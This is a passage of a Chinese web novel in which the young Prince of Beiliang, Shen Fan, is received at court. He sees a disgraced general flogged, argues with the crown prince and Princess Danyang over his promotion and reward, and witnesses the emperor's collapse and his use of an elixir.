《被退婚后,我继承北凉王横扫天下》 第五十八章:进宫 赵应龙将赵应龙带到背静处道:“还请大人恕罪,不是下官不执行北凉王的话,毕竟太子殿下那里……” 段传福摆手打断了他道:“不要说了,我知道你的意思,你做的对,不然我刚才也不会用太子令来挡事。” 说到这时段传福咬了咬牙道:“只是没想到,皇上对这个后进王爷竟如此器重?” “下官明白。”赵应龙也咬牙道:“没想到这个北凉王一来就拿咱们兵部开刀。” 段传福摇摇头道:“你错了,这个北凉王不可怕,可怕的是他背后那只老虎,且还是只母老虎。” 赵应龙吸了口气道:“您是说丹阳公主?” 段传福点点头道:“太子说过,如今在朝堂上能与他抗衡的只有这个丹阳公主,本官看北凉王只是她的一条忠犬罢了。” 赵应龙不解的问道:“她只是一个公主,又继承不了大统,太子殿下因何如此忌惮?” “你懂什么?”段传福道:“丹阳公主是陛下手中的一枚棋子,是专门用来制衡太子殿下的。” 赵应龙:“不是说皇上现在一心玄修么?” 段传福:“那你就太小看咱们这位圣上了,看在你我共事多年的份上给你一个劝告。 以后凡遇到与丹阳公主有关的事千万不要冲动,一切都要等本官请示了太子殿下后再定夺。” 赵应龙道:“下官明白。” 段传福见他这么说,心下黯然的道:“明白就好,今天务必要把事办完,至于太子殿下那边我来办。” 赵应龙点点头,继续部署去了。 段传福走进内堂,支走旁人,取出笔墨奋笔疾书起来。 他要给太子殿下写信,把今天发生的事都告诉他。 …… 沈凡是与魏珊瑚同乘一辆车去往皇宫的,他那匹很普通的马,则被大内侍卫牵着同行。 从外观看,魏珊瑚的车与丹阳公主的车驾没法比。 既没有豪华的装饰,也没有镶金嵌银,看上去就是辆极其普通的马车,行驶在街上毫不起眼的那种。 可一进车厢,沈凡就发现了不寻常。 车内的装饰是金碧辉煌,除了车窗外,整个内车身都包裹着厚厚的铜皮,具有很强的防御性。 车内的座椅是由玉石雕刻而成,上面铺着厚厚的虎皮褥子,坐上去非常舒适暖和。 果然不愧为三品大内总管太监,只是一辆座驾就如此豪华,这让沈凡变相解了魏珊瑚外收内放的性格。 正想着,就见魏总管给自己递来一杯茶道:“王爷不是想问问皇上找您何事吗?” 沈凡拱拱手道:“如果方便,还请魏总管告知。” 魏总管笑呵呵地道:“王爷不必如此,这是好事,咱家自会跟您说。 刚才丹阳公主殿下和大理寺卿岳镇振江见了陛下,陛下已经知道了朱淘利贪污抚恤金的事,对王爷第一次办差就能查出这么大的案子深感欣慰。” 沈凡道:“原来是这事,这不全是我的功劳,还有丹阳公主殿下和大理寺卿岳大人的功劳。” 魏总管摆摆手道:“这个陛下自然知道,陛下更看重的是你发现西北道贪功冒赈,还有巾帼将军和郑天泽用兵过狠之事,所以才让咱家找王爷面圣。” 一听这话沈凡来了兴趣,问道:“魏总管,不知皇上要如何处置这两件事?” 魏总管道:“皇上已经召巾帼将军和郑天泽进宫了,他们的事证据确凿,估计这会正挨训呢。” 沈凡嗯了声……想到王灵瑶被训,心里多少有些不是滋味,将话题转移到西北道: “魏总管,西北道是否有贪功冒赈,我只是凭西北一些阵亡将士家书的猜测,不能确定,不然丹阳公主也不会进宫让陛下定夺。” 闻听此言的魏总管眼一眯,闪现出一抹精光道:“没有空穴来风的事,皇上已经召见了太子殿下,看样子会彻查。” “太子殿下也在?”沈凡问。 魏总管问道:“王爷是不是没见过太子?” “没有。”沈凡道:“敢问大总管,太子殿下的脾气不好吗?” 魏总管想了想道:“威严自不能言说,总之王爷见了太子说话要谨慎。毕竟您这次见的是两条真龙。” 沈凡拱手道:“多谢大总管,我知道了。” 魏总管不再说话,靠在虎皮上闭目养神。 透过车窗上锦帘的缝隙沈凡看到,车驾已是进了皇城。 那些守门禁的御林军都认识魏总管的车,一路畅通无阻直奔大内禁地。 让沈凡没想到的是,车驾并没有去往自己面圣时去的凤鸾阁,而是向西拐走甬道,停在一座高墙大院前。 在魏总管的引领下,沈凡进了大院。 就见这里的建筑风格独特,正殿建在高大的石台上,站在下方只能看到殿宇的黄色屋脊。 院内有十几颗矮松,两侧有东西耳房与回廊相连,既没有金銮殿的恢弘,也没有凤鸾阁的舒适,反而给人一种阴冷的感觉。 见沈凡东张西望,魏总管轻声道:“王爷没来过吧,此处乃陛下清修的西苑,上方的殿宇寓意与天相接,随咱家来吧。” 沈凡嘴角微微一动,随着魏总管拾阶而上。 走到一半时,才看到大殿门口站着十几名大内侍卫,个个手握刀柄警戒着。 一阵闷哼声从侧旁传来,引起了沈凡的注意,循声望去不由吃了一惊。 就见一人跪在石台上,一名侍卫正挥鞭抽向他,每一鞭都将他后背打出一道血条。 再看那被打之人,每承受一鞭都疼得他发出一声痛苦的呻吟,正是郑天泽。 见沈凡走了过去,魏总管也跟了过去,问那侍卫:“怎么回事?” 侍卫鞭子收起来,对魏总管拱手道:“回大总管,是皇上下令打的,一共十鞭。” 沈凡明白了,这定是皇上对郑天泽用兵过狠的惩罚,下意识问道:“王灵瑶挨打了么?” 侍卫不认识沈凡,用询问的眼神看向魏总管。 与此同时,一直低头的郑天泽听到熟悉声音后,立刻抬头看向沈凡,眼里带着几许愤恨几许震惊…… 第五十九章:见太子 郑天泽愤恨的是,自己刚才还在王家与灵瑶大摆宴席,准备好好庆祝她被太子殿下赐匾,没想到却被皇上双双叫进了宫。 原想皇上又会有什么恩赏,毕竟灵瑶刚被皇后认了义女,不想一见面,皇上就问起了自己和灵瑶在西北用兵过狠的事。 本来想皇上应该没什么证据,刚狡辩几句,丹阳公主就直接把沈凡查出的事说了,还拿出了其他军士的口供。 皇上大怒,才命禁军打了自己。 震惊的是这小子怎么进宫了? 看着沈凡春风得意的神情,郑天泽明白了,定是被皇上召见领赏的。 么的,查老子不算,到现在还惦记着老子的女人。 沈凡,老子与你势不两立…… 就在郑天泽乱想时,就见魏总管指着沈凡对那侍卫道:“你看咱家作甚,这是新晋北凉王,回话就是。” 侍卫忙对沈凡施礼道:“回北凉王的话,陛下没有打巾帼将军,她现在还在殿里跪着呢。” 虽然沈凡知道,就算王灵瑶被打也是罪有应得,可听到这话还是不由松了口气。 这时忽听到身下传来一声压抑的嘶吼:“沈凡!” 低头看去,就见郑天泽仰着脸正看着自己,五官因为疼痛和愤怒都在扭曲着,眼中好像要喷出火来。 沈凡知道郑天泽恨自己,要是在别的地方早就一脚踹过去了,可这里是皇城,不好造次。 俯下身子,面带微笑道:“郑将军,你应该叫我王爷,王爷知道不?” 言罢不在理他,跟着魏总管向大殿走去。 同样,郑天泽在这皇宫也不敢造次,只能怒目瞪着沈凡消失在殿里的背影,鼻翼一张一合,口中不断念叨着:“沈凡,沈凡,沈凡……” 刚进入大殿时,沈凡的眼睛很不适应,因为外面的太阳太刺眼,大殿内又太过昏暗。 好在殿内很深,走了几步已是适应了这里的昏暗。 沈凡看到,这处殿宇与凤鸾阁不同,除了书桌、书案、书柜这样的寻常之物外,四周皆挂满了道家符咒,看上去更像个道观。 坐在龙椅上的神武帝身穿道袍,将身子伏在桌案上,举着几张纸看得入神。 沈凡一眼就认出来了,他看的是张硕的家书。 皇帝宝座的下方,站着身材消瘦的大理寺卿岳振江,体态丰盈的丹阳小公主,还有一个二十出头的年轻男子。 这个男子的样貌与神武帝有几分相似,身穿四爪金龙袍,面如冠玉,五官精致。 不用问,能穿四爪金龙袍的一定是当今太子赵锐。 很快,沈凡的目光就从赵锐的身上,转移到了另一个人身上。 她身穿五品武官官袍,面向皇帝而跪,双肩微微颤抖低声哭泣着,正是王灵瑶。 看到她楚楚可怜的样子,沈凡不由叹了口气,心道早知今日,何必当初。 这时神武帝恰好看完了信,抬头见沈凡站在下方发楞,问道:“沈凡,你发什么呆? “哦……”沈凡忙收敛心神,跪地参拜道:“臣拜见陛下。” “起来吧。”神武帝道:“你的差事办得不错,一下子就发现了三件事,朕很欣慰。” 沈凡起身的回道:“陛下过奖了,这事不是臣一人所为,也有丹阳公主和岳大人的功劳。” 听到这话,丹阳公主的嘴角一翘,现出满意的笑意。 岳振江则不失机会对着沈凡点头微笑,尽显恭敬之意。 因为王灵瑶是背对着沈凡的缘故,直到皇帝说话才知道是沈凡来了。 她不敢回头看沈凡,只是盯着地上的石砖,眼神里充满哀怨…… 神武帝对沈凡的谦逊很满意,似乎想到了什么,指着一旁的赵锐道: “你们没见过吧,朕给你介绍一下,这位就是太子。” 皇帝亲自介绍,沈凡自不敢怠慢,转身面向太子赵锐跪倒在地道:“臣,沈凡见过太子殿下。” 赵锐含笑伸手虚扶道:“北凉王快请起,本宫已经听丹阳说了你的事,很好,果然是虎父无犬子!” 好像你和我父王很熟似的……沈凡也还以笑意道:“谢太子殿下。” 这时高处传来了神武帝的声音:“沈凡,如今是太子监政,除了朕你也要好好辅佐他。” 沈凡有些迷茫地看了眼神武帝,暗道我一个七品小官怎么辅佐太子? 不过还是对着神武帝施礼道:“臣明白。” 听到这话的赵锐却是暗中一惊,不过他马上就拉住沈凡的手道:“父皇请放心,北凉王是个人才,儿臣一定会用好他的。” 说着还特意看向沈凡,脸上满是笑意。 因离得很近,沈凡发觉赵锐笑得有些假,特别是嘴角那如刀锋般的弧线,眼底还带着一丝冷酷,那是一种视众生为蝼蚁的藐视。 这时忽听丹阳公主笑道:“父皇,沈凡现在只是个七品小吏,连见儿臣都很难,怎么辅佐太子?” 神武帝被这话逗得一乐,点指着丹阳公主道:“你这个丫头,这是在给沈凡要官呢对不对?” 丹阳公主笑嘻嘻的道:“沈凡是户部的人,他升官儿臣脸上也有光不是!” 丹阳公主说这话的目的有二。 一是替沈凡讨官,二是变相向父皇和太子宣告沈凡是她户部的人。 神武帝自然明白女儿的小心思,看破不点破的道:“也好,沈凡此次办差是有功的,朕叫他来就是要赏他。 这样,就升他做个六品官吧,至于做什么官,还是由你这个户部尚书定。” 不想丹阳公主却撅着小嘴道:“父皇,您这也太什么点儿了,就给他升了一级,连太子刚才都说沈凡是个人才呢!” 说到这里时,丹阳公主还特意看向赵锐问道:“是不是呀太子殿下。” 其实赵锐是不想沈凡升官太快的,毕竟他是丹阳公主的人。 可一时又想不出什么对策,再说父皇还没说话,只好笑着点点头,心里却在想着对策,准备伺机而动。 “哈哈哈……”神武帝笑得更厉害了,说道:“那就再升一级,给他个五品如何?” 第六十章:一阵自卑感袭来 当听到皇上要给沈凡连升两级时,跪在地上的王灵瑶身子不由一震。 自己拼死拼活才做了个正五品巾帼将军,没想到这个沈凡只当了一天差,皇上就要给他升到五品了。 想到大殿外被鞭刑的郑天泽,她对沈凡的怨气更浓了…… 另一边的丹阳公主却非常满意,看向沈凡提醒道:“北凉王还不谢恩,这可是我父皇亲自给你升的官。” 我去,果然是朝中有人好办事,这小娘们还真够意思! 就在沈凡对神武帝谢恩时,侧旁猛然传来了太子的声音:“且慢。” “谢谢谢……”沈凡被这一状况弄得措手不及,硬生生把‘恩’字憋了回去。 就见太子赵锐对神武帝拱手道:“父皇,此事有些不妥。” “怎么不妥?”神武帝也被赵锐的举动弄得一愣,问道。 赵锐道:“按理说父皇连升北凉王两级官阶,儿臣不该有异议。 可我朝有制,五品及五品以上官员须要有军功或考取功名者担任,就算是父皇简拔也要以此为前提。 可据儿臣所知,北凉王是世袭王爵,身上既无军功又无功名,所以还请父皇收回成命。” “沈凡,军功和功名你都没有么?”神武帝问。 沈凡眨眨眼回道:“臣没有。” 神武帝也眨眨眼道:“这朕还真不知道,不过太子说的没错,是有这个朝制。” 沈凡看向丹阳公主,就见她对自己微微点头,一双大眸子里明显带着失望。 一阵自卑感袭来,让沈凡顿时觉得比别人矮了一截儿。 自己这个王是皇帝封的,有丰厚的待遇和很高的地位,可要说功名和军功却是一个都没有。 这时就见太子赵锐道:“父皇,儿臣与您一样爱才,也知道北凉王说是个人才,可如此一来势必坏了规矩,若是传出去众官员必有非议。 所以儿臣建议,按制任命北凉王为六品官员,父皇可额外对其赏赐。” 神武帝对太子这番公私兼顾的话很满意,点头表示赞同,看向沈凡道: “沈凡,太子此言是谋国之策,这样……官就升你到六品,除此外你可在跟朕要一个赏赐。” 沈凡有些失落,不过也知道这是朝廷的规矩,可让自己当着皇帝的面要赏赐,还真有些说不出口。 总不能直接说皇上我缺银子,缺大把大把缺银子吧? 一旁的丹阳公主虽也有不甘,却知道太子说的没错,见沈凡站在那不说话,还以为这愣头青没见过世面,不知道要什么? 眼见父皇和太子都在看着沈凡,走过去小声道:“想什么呢,你不是缺银子吗,快跟我父皇要银子。” 还是这小娘们儿懂我的心思……沈凡心头一暖,不过还是问道:“直接要合适么?” “有什么不合适的,赶快!”丹阳公主嘀咕着,神情像极了帮夫君向娘家人要钱的小媳妇。 沈凡:“要多少合适?” 丹阳公主眼珠一动道:“五千两吧。” 沈凡顿时贪欲暴涨,问道:“能在多要点儿么,你的银子还没还呢,我缺钱。” 丹阳公主一瞪眼,从牙缝里挤出一句:“是你有经验,还是我有经验?” 沈凡默然了……他记得当年父王得了大军功时,皇上才赏了三万两银子。 自己的功劳和父皇的军功没法比,看来丹阳公主让自己要五千两是有道理的。 “我听你的。”沈凡道。 丹阳公主樱唇微翘道:“这就对了。” 沈凡和丹阳公主嘀咕时,神武帝、太子赵锐、岳振江听不清,可离着他们不远跪在地上的王灵瑶却能听到。 看着两人亲密的样子,王灵瑶心里燃起一种难以名状的酸意,脸颊不自觉抽搐了一下,十指下意识扣住了地上的金砖。 时刻,神武帝正颇有兴趣看着女儿和沈凡在那里小声嘀咕,呵呵一笑问道:“丹阳,你是在给沈凡出主意么?” 丹阳公主吓了一跳,随即笑着回道:“回父皇的话,儿臣是在给沈凡出主意,就是想让他多要些银子。” “哦!”神武帝笑问:“那你准备让他要多少呀?” “沈凡,你自己说吧。”丹阳公主看向沈凡道。 已是打消了多要的沈凡又改主意了,因为他发现皇帝真是很宠爱丹阳公主。 沈凡心思快速转动着,要多少呢? 要一万两……对,就要一万两,大不了皇上如果不喜在打个五折。 于是,在丹阳公主、太子赵锐、岳振江众人的注视下,沈凡对神武帝伸出了一根手指,用探试的口吻道:“一万两行么?” 丹阳公主一惊,不是说好了五千两么,你小子怎么又变卦了? 她不是不想让沈凡多要,自己在朝堂多年,知道以沈凡的功劳最多也就赏银五千两,可在阻止已是来不及了。 太子赵锐眼睛一瞪,他比丹阳公主更了解对臣子赏赐的规矩,心道沈凡,你还真敢开牙! 就在丹阳公主和赵锐都以为父皇会为难时,不料却见他哈哈笑道: “沈凡呀沈凡,要是你父王就不会要这么多,罢了,看在朕女儿的面子上就应了你。” 我去,赌对了! 沈凡大喜,对着神武帝高声施礼道:“臣谢陛下!” 言罢又对丹阳公主施礼道:“谢殿下!” 丹阳公主此时是又气又喜。 气得的是,这小子的胆子也太大了,连自己的话都不听。 喜的是,想到了自己在父皇心中份量重,却没想到会这么重,连这样破规矩的要求都准了。 想到这,不禁笑着对神武帝道:“谢父皇。” 跪在地上的王灵瑶则嘴唇紧抿,她现在可以确定,丹阳公主和沈凡的关系绝不是简单的上下级。 心中的妒意越来越大,仿若潮水般汹涌,让她的手指都快扣进了金砖里。 自古女儿就是父亲的小棉袄儿,丹阳公主甜甜的笑容,更加激发了神武帝的幸福感,看向女儿眼中满是笑意。 这一幕自然被善于揣摩圣意的太子赵锐看在眼里,他知道这时必须要做些什么,以表示自己对沈凡的关心。 走到沈凡身前,伸手拍着他的肩头道:“北凉王你不要怪本宫,规矩就是规矩。 朝廷现在缺的就是人才,过些时日就是春闱开试,望你能考取个功名,到时本宫自不会吝惜提拔于你。” 第六十一章:赵锐的心思 沈凡本能的感到赵锐是在诳自己,不过这话也提醒了他。 是呀,现在国家无战事,军功暂时是弄不到了,但自己可以参加科考。 想到这,恭敬的回道:“臣明白。” 一旁的丹阳公主却翻了赵锐一眼,她还记着刚才的事,心道就算提拔也轮不到你。 宝座上的神武帝感慨的道:“太子所言正合朕意,如今文恬武嬉,贪风渐炽,吏治腐败,朕每每想到这些都心如刀绞。” 说到这神武帝低头叹息了声,自肺腑里长长透了口气,刚好看到跪在地上的王灵瑶,点指着她语气阴冷的道: “就像你和郑天泽,竟在战场上做出用兵过狠之事,如此下去军心何在,简直是辜负圣意。 传旨,革去二人官爵,交刑部论罪。” 听到这话的王灵瑶如遭雷击,身子一抖,随即磕头如鸡啄米道: “皇上恕罪,皇上恕罪,还请皇上看在臣有些苦劳的份上,再给臣些机会……” 看着王灵瑶哀求的样子,沈凡想替她说句话,可转念一想皇上的惩罚并不过分,估计最多是罢官几年,以后还是会启用的。 太子赵锐一惊,郑天泽是安国公郑建山的孙子,老头儿与自己一直有交往,说过会联合勋贵支持自己,是一定要保的。 这个王灵瑶是郑天泽的未婚夫,又自己新拉拢的人,自己还指着她笼络天下妇人,笼络勋贵家眷,绝不能就这么被丹阳和沈凡给弄下去。 想到这对神武帝拱手道:“父皇,王灵瑶现是母后的义女,又是您亲封的巾帼将军,天下妇人之楷模。 郑天泽是安国公之后,在西北也算有些战功。 还请念在他们二人有些苦劳的份上,看在母后和安国公的脸面上,不要惩罚的这么重了吧。” 神武帝偏头看向儿子问:“太子说应该怎么办?” 赵锐道:“儿臣的意思是罚俸三年,将他们二人革去官职,依然在任上行走以观后效。” 赵锐的话没说完时,神武帝已是明白了他的心思,虽有拉拢臣子的意思,可考虑的都对。 特别是王灵瑶是自己亲封的巾帼将军,天下妇人之楷模,就这样把她论罪等同打自己的脸。 再有那个安国公,九十岁的老棺材瓤子了,偏偏是勋贵之首,为这点事就降罪他的孙子,弄不好会在勋贵中引起不必要的恐慌。 更何况儿子拉拢臣子也能理解,他毕竟是太子,早晚继承大统的人,儿子能驾驭朝局,自己才能安心求长生之道…… “父皇,再不行就罚他们俸禄五年。”太子赵锐见父皇不说话忙又道,还对王灵瑶摆了下手。 王灵瑶明白太子殿下的意思,忙跪行几步,在离着龙案更近的地方再次叩头,圆润的额头都磕出了血。 “好了,就这么办吧。”神武帝看向赵锐道:“你代朕下这份旨意。” “谢父皇!”赵锐拱手道,眼中带着喜色。 “谢皇上,谢太子殿下!”王灵瑶对着神武帝和赵锐分别磕头道。 神武帝朝一旁的魏珊瑚摆手道:“把王灵瑶带下去吧。” 王灵瑶站起身,跟着魏珊瑚向殿外走去,在与沈凡擦肩而过时,还不忘狠狠瞪了他一眼。 沈凡这时能说什么,心情复杂的很,只希望她能吸取教训,将头偏向一边全当没看见。 可王灵瑶瞪得这一眼刚好被丹阳公主看到,见沈凡面无表情,瞬间引起了她的玩心,欠欠地来到沈凡身边轻声道:“她刚才瞪你了?” 沈凡也轻声道:“是么,没看见。” 丹阳公主有种一脚踢进被子里的感觉,瞪着眼睛道:“她真的瞪你了!” 这小娘们怎么看着不像好人呐,这么喜欢挑拨离间…… 沈凡见皇帝正与太子说话,没有注意这边,就对丹阳公主道:“我就看到你在瞪着我。” “你……”丹阳公主刚要发飙,忽听父皇道:“你们两个过来。” “是。”沈凡应了声,毕恭毕敬走了过去,后面跟着脸色发黑的丹阳公主。 “沈凡,说说你是怎么发现西北道之事的?”神武帝问道。 沈凡道:“皇上,臣是发现阵亡参将张硕家书中说,西北无雪,至瘟疫横行,西北道无法及时供应伤寒药。 而在户部的文书中却出现了遇暴雪,军民被冻死无数的话,所以臣就立刻上报给了公主殿下。 是公主回忆起了您给西北调拨救灾银的事,要说发现西北有事也是公主殿下的功劳。” 说着沈凡特意看向丹阳公主,眼神里现出敬仰之色。 神武帝也看向丹阳公主欣慰的道:“吾儿聪慧呀!” 刹那间丹阳公主的气就消了,笑咪咪的道:“父皇过奖了,还是沈凡发现的及时。” 沈凡……小娘们,本王还治不了你? 就见神武帝看向太子赵锐道:“西北的事,你要即刻派钦差去彻查,务必要查个水落石出。” 赵瑞回道:“父皇请放心,儿臣这就去办。” 神武帝点点头又问:“兵部的那几个败类,你准备怎么处置?” 赵锐知道父皇指的是朱陶利、刘利、马卫三人。 自己现在是监政,发生这样的事多少有些责任,不能让父皇觉得自己的手段弱,说道: “父皇放心,儿臣一定依律严办,三犯斩立决,抄家,三族发配岭南。” 神武帝低头思索着道:“兵部前几日刚出了贪污阵亡军士抚恤金案,今日又出了贪污病亡军士抚恤金案,朕看这个兵部都快成独立王国了。 兵部尚书段传福是你保举上来的人,不能脱了干系,罚俸一年,上罪己折子吏部留档,至于那三个败类……” 神武帝说到这时突然涨红了脸,“砰”得一击桌案厉声道: “不严惩不足以惩治这几个混蛋,传旨下去凌迟处死……还要让百姓都看到!” 见皇上突然发了威,包括沈凡在内的几人脸色都是一白,周围的太监和宫女更是吓得当时跪在了地上。 赵锐见父皇气得浑身乱颤,为避免祸及自身,忙跪在地上道:“父皇息怒,儿臣会亲自监刑。” 丹阳公主则走到神武帝身边关心的道:“父皇不要动怒,龙体要紧!” 第六十二章:我也怕呀 神武帝感到一阵心里憔悴,咽了咽又苦又涩的口水,努力平息着心中的怒火。 可这股怒火不但没有平息,反而又感到一阵莫名的烦躁袭来。 这让他不禁暗中发问,自己这半年是怎么了? 以前卯时起床理政,一直折腾到晚上六七个时辰都不会感到疲倦。 可最近这半年不知怎么精力越发不济,理政的时辰也越来越短。 就像今日稍微用了些心神,就感觉身上一阵热,一阵凉,一阵气恼,一阵烦躁…… 七荤八素间,神武帝感觉气喘得都不匀了,捂住胸口发出一阵剧烈的咳嗽。 “父皇,您怎么了?”赵锐问道。 丹阳公主也是脸色一变,扶着神武帝道:“父皇您怎么了?” 神武帝一手扶着女儿,另一只手摆动着道:“朕没事,魏珊瑚,快,快把朕的仙丹拿来!” 见父皇要仙丹,丹阳公主想都没想脱口而出道:“父皇,别吃那东西了,还是叫太医吧!” “胡说,你想让朕死吗?” 这一瞬神武帝的性情已然大变,似乎连女儿都不认了,推开丹阳公主叫道:“快把朕的仙丹拿来,仙丹拿来!” 丹阳公主冷不防被父皇一推,竟脚下踩空从台阶上跌了下去。 幸好沈凡手疾眼快将她抱住,这才没有摔伤。 “父皇!” 丹阳公主还想过去,却被沈凡一把拉住,她惊鄂地回头望去,就见沈凡正对着自己微微摇头。 她看出来了,沈凡这是在告诉自己现在不宜过去。 看着狂躁的父皇,丹阳公主知道沈凡是对的,只能边抹着泪边不住叫着父皇。 此时魏珊瑚已拿来了一个紫檀木盒,从里面取出一枚鲜红色的药丸。 太子赵锐一把接了过去道:“让我来,你赶快去给我父皇弄仙水。” “是。”魏珊瑚应了声,从紫檀木盒里取出一块巴掌大的白玉,又取出一个小锉,快速将白玉的一角搓成粉末倒进杯里。 另有一个太监拿来一个银壶,将里面的水倒进杯里。 魏珊瑚接过杯,来到神武帝身边道:“陛下,这是今早集来的朝露。” “快快!” 神武帝气喘吁吁的道,先是接过赵锐手中的红色药丸放进口中,然后又接过玉杯合水服下。 这一切都被沈凡看在眼里,让他感到奇怪的是,只是过了十几个呼吸皇帝就不再咳了,神志也开始清明起来。 此刻神武帝才想起刚才推丹阳公主的事,看向她道:“”你没事吧?” “父皇,儿臣没事……您就别再吃这个了!” 一听这话神武帝的脾气又上来了,喘着粗气道:“你懂什么,太医院的那些庸医帮不了你父皇。 你父皇这是在渡劫,按黄天师所说的,最多再修三四年就能长生了,知道吗?” 丹阳公主哭得更厉害了,却不敢在劝了。 沈凡则眉头微皱,暗道这不傻吗? “沈凡,岳振江,你们带丹阳公主下去吧,好好办差。”神武帝对沈凡几人摆摆手道。 沈凡对皇帝拱拱手道:“臣告退。” 说完就扶着丹阳公主退了出去,后面跟着一脸惶恐的岳振江。 几人出了西苑后,丹阳公主已是恢复了些许平静,扭头看向岳振江道:“皇上的事你知道怎么应对吗?” 岳振江的表情惶恐的躬身施礼道:“臣刚才什么都没看见,什么也没听见。” 丹阳公主道:“你回去吧,本宫与北凉王说些事。” “是。”早就想离开这是非之地的岳振江应了声,快步离开。 岳振江走后,丹阳公主并没有理会沈凡,而沿着长长的甬道向宫外走。 沈凡也不说话,在她身后半步跟着。 张凤、艳姑姑和那些丹阳公主的随从见状也不敢靠近,跟在他们身后五六丈处。 就这样走了十几丈,沈凡忽听丹阳公主道:“你相信有长生不老之术么?” “这个……怎么说呢?”沈凡咂了咂嘴道。 “别藏着掖着,怎么想的就怎么说。”丹阳公主斜了沈凡一眼道。 通过丹阳公主刚才叫太医的举动,沈凡知道她和自己一样不信这些,沉吟了下道: “有没有长生不老我不知道,反正我知道秦皇汉武都追求过长生不老,可他们现在都在坟里躺着呢。” 丹阳公主被这话说的一笑,又问:“那你说我父皇服了那仙丹和玉水后,为何很快就醒了过来?” 沈凡道:“我不懂医理,不过我娘生前也喝过玉屑,说少量服用有清肠的功效,至于那仙丹么……我真不知道。” “本宫知道。”丹阳公主目光炯炯的道:“张凤曾请名医看过,那名医说丹药里都是虎狼之药,就是将死之人吃了也能回光返照。” 沈凡听得惊心动魄,问道:“皇上不知道么?” 丹阳公主道:“父皇不信我的话,只信那个黄天师。” 丹阳公主说到这忽然停下脚步道:“那个黄天师误国,本宫要对付他,你帮不帮本宫?” 沈凡汗毛都竖起来了,暗道又不是我爹寻求长生不老,再说你爹是皇帝,他想寻长生谁拦得住? “你到底帮不帮?”见沈凡在犹豫,丹阳公主质问道。 沈凡道:“我只是个六品官,又没实权,我看你还是找岳大人才对路,他是大理寺寺卿。” 丹阳公主叹了口气道:“此人在户部办差时很勤勉,调任大理寺卿后也没让我失望过。 可你刚才也看见了,我只是吓了他一下就怕成那个样子,所以他不行。” 沈凡不加思索的道:“他不行我就行,我也怕呀!” 见沈凡竟说出也怕的话,丹阳公主顿感心一寒道:“你怕什么,不是有我么? 在说这么做也是为了我父皇,为了江山社稷,如果连你都不帮我,我都不知道找谁了?” 丹阳公主说到这时目光空洞地看向沈凡,眼眶已然泛红。 把个沈凡看得一痴,没想到高高在上的公主会来这一出。 这小娘们对自己很好,还真有些于心不忍。 皇上对自己也不错,那么英明的一个人,如今被仙丹弄得性情大变。 想到这咬着牙道:“好,我帮我帮,你别哭行不行?” “噗嗤……” 丹阳公主笑了,如花般的笑容绽放在她纯净的脸上,偏偏眼圈红肿,反而衬着那双眸子愈发迷人。 第六十三章:又生气了 沈凡道:“你说要我怎么帮你?” 丹阳公主摇摇头道:“我也没想好,你得替我想个法子。” “合着你连对付人家的法子还没想出来呢!”沈凡脱口而出道。 丹阳公主梗着纤细的脖颈道:“我要是想出来了还找你干什么,再说我也不擅阴谋诡计。” 沈凡急了:“什么叫不擅阴谋诡计,好像我就擅长似得!” “你怎么不擅长?”丹阳公主道:“前几日在王灵瑶家,你要把郑天泽赖账的事公布于朝堂,迫使他还了五万两银子。 今日朱淘利带兵围你时,你假意妥协来了招擒贼擒王,这不是阴谋诡计是什么?” 沈凡道:“这不是阴谋诡计,是足智多谋。” 丹阳公主道:“那就冲着足智多谋,办法还得你想。” 原来在这等我呢……骑虎难下的沈凡叹了口气道:“那你总该告诉我那个黄天师的底细吧。” “咯咯咯……”丹阳公主笑得那叫一个开心,说道:“他叫黄高攀,据说是龙虎山正一道张道陵真人的第七代传人,别的我就不知道了。” 沈凡想了想道:“若想算计他,还得先知道他的根底,你说的这些太少了,需派人去龙虎山打探一下。” 丹阳公主点头道:“说的对,这件事由你办。” 沈凡道:“我手下才几个人,你手下人多,还是你派人去好。” 丹阳公主摇摇头道:“不行,我能差遣的人是不少,可能信任的也就张凤和艳姑姑两人。 其他人我说不准谁是父皇的暗卫,一旦让父皇知道我在暗中查这事就遭了。 而你的王府是刚建的,暗卫应该还来不及进入,还是用你的人稳妥。” 沈凡道:“你说暗卫也会监视我?” 丹阳公主:“这不叫监视,是太祖皇帝定下的祖制,朝中五品以上官员和众勋贵都会享受这般待遇,你应该感到荣幸。” 我荣幸你个大头鬼……沈凡的脑海里不由浮现出大内总管魏珊瑚那张人畜无害的鸡蛋脸,看来是得多几个心眼儿了。 倒不是沈凡有什么不轨之心,只是不想头天晚上吃了什么,第二天皇帝就知道了。 心里这样想,脸上却毫无波澜的道:“好,我派人查,等有了消息咱们再商议。” 有了沈凡的帮忙,丹阳公主的心情好转起来,走路也轻快了不少。 似乎想到了什么,她转头唤了声:“张凤。” 五六丈外,张凤和艳姑姑正带着十几个太监和宫女跟着,听到主子唤自己忙应了声:“奴才在。” 说着提起衣袍下摆,弯着腰来到长公主身边,眼梢上挑,神情谦恭等着主子发话。 丹阳公主道:“刚才我父皇下了旨,赏赐北凉王银一万两,这事你派人去户部办一下,让他们今天就把银子送到北凉王府。” “奴才明白了,主子还有何吩咐?”张凤问道。 见丹阳公主摆了摆手,便知趣的退了回去,还欣喜的看了眼沈凡,显然是为他高兴。 对丹阳公主的举动沈凡自是喜欢,不过还是有些纳闷的问:“皇上赏我的银子,怎么会从户部出?” 丹阳公主俏脸上现出几分得意道:“我管着国库,凡朝廷给臣子的赏赐都要从我户部出。 而且什么时候发都是我说了算,懂么?” “懂……嗯?” 沈凡下意识应了声,可随即就反应过来了。 这小娘们儿是在暗示自己要听话,不然这银子她大有可以缓发的权力。 想到自己刚才心软答应她办那么棘手的事,沈凡的心不痛快起来。 怎么觉得自己有点儿像拉磨的驴,累死累活不算还要感恩顺从,天下哪有这样的道理? 沈凡越想越意难平,说道:“既然如此,干脆把欠我两万两银子也一起给我吧。” 丹阳公主还等着沈凡说谢呢,没想到等来的是这话,眼睛一瞪骂道: “我说你小子属猴的,怎么顺杆爬,上辈子是不是催债鬼托生?” “我不属猴,我属龙。”沈凡也瞪起了眼道:“你可是说过,只要我差事办的好就把银子都还我。 没你这个欠债不还的,哪有我这个催债不休的?” 丹阳公主勃然大怒,眉头倒竖道:“你竟敢说本宫是欠债鬼?” 沈凡道:“这‘鬼’字可是你自己加上去的,跟我没关系。” 傻子都能听出来这话是反讽,更何况是异常聪明的丹阳公主,气得她花枝乱颤,指着沈凡道: “你,你竟然敢以下犯上,就不怕我治你吗?” 沈凡的性格是尽量不与人发生冲突,特别是女人。 但既然已经交上了火,那没说的,就是一个字——干! 目光顺着丹阳公主纤细白嫩的手指顺延,看向她气呼呼的脸道: 